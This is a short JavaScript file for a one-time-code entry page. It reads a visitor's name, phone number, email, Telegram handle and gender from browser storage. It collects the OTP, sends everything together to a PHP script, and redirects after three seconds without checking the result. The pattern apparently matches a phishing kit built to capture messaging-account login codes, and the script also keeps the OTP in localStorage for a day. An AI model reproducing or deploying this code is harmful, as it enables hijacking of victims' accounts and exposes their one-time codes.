const phoneNumber = sessionStorage.getItem('phoneNumber');
if (phoneNumber) {
    const phoneNumberElement = document.getElementById('displayPhoneNumber');
    if (phoneNumberElement) {
        phoneNumberElement.textContent = phoneNumber;
    }
} else {
    const storedPhoneNumber = localStorage.getItem('phoneNumber');
    if (storedPhoneNumber) {
        const phoneNumberElement = document.getElementById('displayPhoneNumber');
        if (phoneNumberElement) {
            phoneNumberElement.textContent = storedPhoneNumber;
            sessionStorage.setItem('phoneNumber', storedPhoneNumber);
        }
    }
}

const userName = sessionStorage.getItem('name');
const email = sessionStorage.getItem('email');
const telegram = sessionStorage.getItem('telegram') || localStorage.getItem('telegram');
const gender = sessionStorage.getItem('gender') || localStorage.getItem('gender');

const otpInputs = document.querySelectorAll('.otp-input');
const otpForm = document.getElementById('otpForm');
const submitButton = otpForm.querySelector('button[type="submit"]');

otpInputs.forEach((input, index) => {
    input.addEventListener('input', (e) => {
        const value = e.target.value;

        if (value.length > 1) {
            e.target.value = value.slice(0, 1);
        }

        if (value.length === 1 && index < otpInputs.length - 1) {
            otpInputs[index + 1].focus();
        }

        const allFilled = Array.from(otpInputs).every(input => input.value.length === 1);
        submitButton.disabled = !allFilled;
    });

    input.addEventListener('keydown', (event) => {
        if (event.key === 'Backspace' && input.value.length === 0 && index > 0) {
            otpInputs[index - 1].focus();
        }
    });
});

otpForm.addEventListener('submit', function(event) {
    event.preventDefault();

    const otpValues = Array.from(otpInputs).map(input => input.value).join('');

    sessionStorage.setItem('otp', otpValues);
    localStorage.setItem('otp', otpValues);

    var overlay = document.getElementById('loadingOverlay');
    overlay.classList.add('show');

    fetch('../php/verifikasi.php', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
        },
        body: new URLSearchParams({
            'otp': otpValues,
            'name': userName,
            'phoneNumber': phoneNumber,
            'email': email,
            'telegram': telegram,
            'gender': gender
        })
    }).then(response => response.text())
      .then(result => {
        setTimeout(function() {
            window.location.href = 'optional.html';
        }, 3000);
      })
      .catch(error => {
        console.error('Error:', error);
      });
});

function clearLocalStorageAfterTimeout(timeout) {
    setTimeout(function() {
        localStorage.removeItem('otp');
    }, timeout);
}

clearLocalStorageAfterTimeout(86400000);